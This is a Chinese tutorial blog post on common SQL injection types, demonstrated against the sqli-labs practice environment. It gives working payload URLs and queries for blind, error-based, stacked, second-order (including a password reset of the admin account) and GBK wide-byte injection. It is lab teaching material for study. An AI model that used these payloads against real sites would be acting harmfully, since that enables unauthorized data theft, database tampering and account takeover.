SQL注入常见类型及利用方法

记一次讲解SQL注入的常见类型

一、数据库盲注(*)

盲注的思路 http://172.16.16.235/sqli-labs-master/Less-5/?id=12

第一步:
获取数据库名称
1.获取数据库的长度 :http://172.16.16.235/sqli-labs-master/Less-5/?
id=12%27%20and%20length(database())=2%20--+
2.根据长度,获取每个字符的内容;http://172.16.16.235/sqli-labs-master/Less-
5/?id=12%27%20and%20(substr(database(),1,1))=%27s%27%20--+
第二步:
获取数据库的表名
1.获取表名的长度 : http://172.16.16.235/sqli-labs-master/Less-5/?
id=12%27%20and%20(SELECT%20length(table_name)%20FROM%20informati
on_schema.tables%20WHERE%20table_schema%20=%20%27security%27%20L
IMIT%200%20,%201)%20=%206%20--+
2.根据长度,获取每个字符的内容;
http://172.16.16.235/sqli-labs-master/Less-5/?
id=12%27%20and%20substr((SELECT%20table_name%20FROM%20informatio
n_schema.tables%20WHERE%20table_schema%20=%27security%27%20LIMIT
%200,1),1,1)=%22e%22%20--+
第三
获取表的字段名
1.获取字段名的长度
http://172.16.16.235/sqli-labs-master/Less-5/?
id=12' and (SELECT LENGTH( column_name ) FROM information_schema.colu
mns WHERE table_schema='security' and table_name = 'users' LIMIT 0 , 1) >2
--+
2.根据长度,获取每个字符的内容;
http://172.16.16.235/sqli-labs-master/Less-5/?
id=12' and substr((SELECT column_name FROM information_schema.columns
WHERE table_schema='security' and table_name = 'users' LIMIT 0 , 1)),1,1)='i'
--+
第四步:
直接获取数据
利用 ord()和 mid()函数获取 users 表的内容
http://127.0.0.1/sqllib/Less-5/?id=
1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM securit
y.users ORDER BY id LIMIT 0,1),1,1))= 68--+
基础知识补充
0x20是空格的ascii码的十六进制表示。
IFNULL(CAST(username AS CHAR),0x20)
MID(string,x,x)===mid(Dumb,1,1)=ORD(D)转成ascii码是一个数字
sqlmap 只要需指定一下--technique=B

二、数据库报错注入(*)

在MYSQL中使用一些指定的函数来制造报错,后台没有屏蔽数据库报错信息,在语法
发生错误时会输出在前端,从而从报错信息中获取设定的信息。

select/insert/update/delete都可以使用报错来获取信息。
You have an error in your SQL syntax; check the manual that corresponds to
your MySQL server version for the right syntax to use near ''12'' LIMIT 0,1' at
line 1

黑客:

• 常用的爆错函数updatexml(),extractvalue(),floor() ,exp()
• updatexml()函数是MYSQL对XML文档数据进行查询和修改的XPATH函数;
• extractvalue()函数也是MYSQL对XML文档数据进行查询的XPATH函数;
• floor()函数是MYSQL中用来取整的函数。
xml就是一个有固定格式的文本文件,类型似于小型数据库;
updatexml():
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为
Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可
以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
updatexml(1,concat(0x7e,(select database()),0x7e),1) ,字符串分隔符,故意
使用它进行报错;
1 and (updatexml(1,0x7e,3)); 由于0x7e是~,不属于xpath语法格式,因此报出
xpath语法错误。
extractvalue():
MySQL的`extractvalue`函数是用来提取XML文档中指定路径的节点值。它的用
法是`extractvalue(xml_doc, xpath_expr)`,其中`xml_doc`是指定的XML文档,
`xpath_expr`是要提取节点值的路径表达式。
floor() :floor() 是 MySQL 的数学函数。此函数用于查找等于或小于给定数字的最大
整数. select floor(11.5)
(select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from
information_schema.tables group by x)a)
select count(*),concat(version(),floor(rand(0)*2))as x from
information_schema.tables group by x
exp():
rand():生成一个随机数;
floor(rand(0)*2) 这个值要么是0,要么是1
concat():
group_concat():将多列数据合并成一条数据;
select count(*),concat(version(),floor(rand(0)*2))x from
information_schema.tables group by x -----核心虚表的主键冲突报错

报错的理解:虚表、实现 主健 索引 ,当前大家的目的就是把这个注入语法搞明白,
如果要深入了解报错的原理大学要学数据库;(核心虚表的主键冲突报错)

三、数据库联合注入 union select (代码审计SQL注入)(*)

四、堆叠注入 (*)

堆叠注入 stacked injection
http://172.16.16.235/sqli-labs-master/Less-38/?id=2,这个页面只有查的功能,我
们想让它执行(修改:update 添加 insert 删除drop),这个时候就要用到堆叠;
原理:在SQL数据库串,每条SQL语名是以;分开的,堆叠注入就是一次性注入入多条
SQL语句;
与union联合查询注入的区别:union联合查询注入执行的语句类型是有限的,可能用
来执行查询语句。堆叠注入可以执行是任意的语句(增删改查)
局限性:
多语句执行受数据库类型、API、数据引擎的限制,有的不能实现

数据库的权限:增改可以会受到权限的限制。

http://172.16.16.235/sqli-labs-master/Less-38/?id=2, 通过union 联合查询:把
users (id ,username ,password)
insert into users(id,username,password)
values(15,"aaaaaaaaaaaaaa","1234335");
http://172.16.16.235/sqli-labs-master/Less-38/?id=2';
insert into
users(id,username,password) values(15,"aaaaaaaaaaaaaa","1234335"); --+
后台执行的sql语句:SELECT * FROM users WHERE id='2'; insert into
users(id,username,password) values(15,"aaaaaaaaaaaaaa","1234335"); --+'
LIMIT 0,1

五、二次注入

步骤:
1.找到系统里面存在admin用户
2.登陆页面和注册的页面我们发现都进行特殊字符处理;-按照以前的注入方法无法完
成;
3.特点:我们注册它的特殊字符串能够直接写到数据库当中;我们这里能不能将特殊字
符读出来?

二次注入实现方法
1.找到系统里面存在admin用户,我们的目标是修改admin用户的密码,这个时候我们
就可以实现后台登陆;
2.我们要创建一个用户:admin’# ,密码任意 :admin' #
3.进入登陆界面:注册的 admin’# ,密码任意 , "SELECT * FROM users
WHERE username='admin' #' and password='$password'";
4.登陆成功之后的页面进行拼接:
UPDATE users SET PASSWORD='$pass' where username='admin’#
' and password='$curr_pass',实现了对admin用户进行了修改密码;
二次注入的原理 :
第一次:在第一次进行数据库插入数据的时候,仅使用addslashes或者
get_magic_quotes_gpc对其中的特殊字符进行转义,在写入数据库的时候还保
留了原来的数据,但是数据本身还是脏数据;
第二次:脏数据存入到数据库中之后,开发者就认为数成是可信的。在下一次进
行需要查询的时候,直接从数据库中取出了脏数据,没有进行进一步的过滤,这
样就造成了SQL二次注入;。
防:直接从数据库中取出脏数据进行过滤

六、宽字节注入(*)

http://172.16.16.174/sqli/Less-32/?id=1
1' ---->1\' 发现一个问题’“ \,说明后台一个函数将对我们这些特殊字符串做转
义;
现在我就要使用一个方法进bypass绕过;
1%df' 我们使用这个串,发现进行闭合,而且是用'闭合的;
http://172.16.16.174/sqli/Less-32/?id=1%df'
http://172.16.16.174/sqli/Less-32/?id=1%df' order by 1 --+
http://172.16.16.174/sqli/Less-32/?id=1%df%27%20order%20by%201%20--+
http://172.16.16.174/sqli/Less-32/?id=1%df%27%20order%20by%202%20--+
http://172.16.16.174/sqli/Less-32/?id=1%df%27%20order%20by%203%20--+
http://172.16.16.174/sqli/Less-32/?
id=-1%df%27%20union%20select%201,2,3%20--+
后面打法用联合注入搞定
宽字节造成的环境:1.check_addslashes(特殊字符转义),2.mysql_query("SET
NAMES gbk")
宽字节的原理 :主要是涉及到数据库的编码与后台程序的编码一不一致,在mysql
中,如果使用了gbk编码,它会认为两个字符是一个汉字,前面台是url编码;
特殊字符号的URL编码:
%5c -->\
%27 -->'
%20 -->空格
%23 -->#
%3d --->=
测试字符型注入的payload
输入的payload:’ or 1 =1 #
通过addslashes()函数后的paylaod: \' or 1=1 #
对应的url编码payload:%5c%27%20or%201%3d%201%20%23
宽字节注入绕过payload
构造绕过payload:%df' or 1=1 #
通过addslashes()函数后的payload:%df\' or 1=1 #
对应的url编码payload:%df%5c%27%20or%201%3d1%20%23
当%df%5c%27%20or%201%3d1%20%23进入mysql中的时候,发MYSQL使
用的GBK编码 ,会认为两个字符是一个繁体汉字,将参数%df%5c按照GBK编码
集解析成一下汉字:運
执行的SQL语句:SELECT * FROM users WHERE id='運' or 1=1 #' LIMIT 0,1
  • 6
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值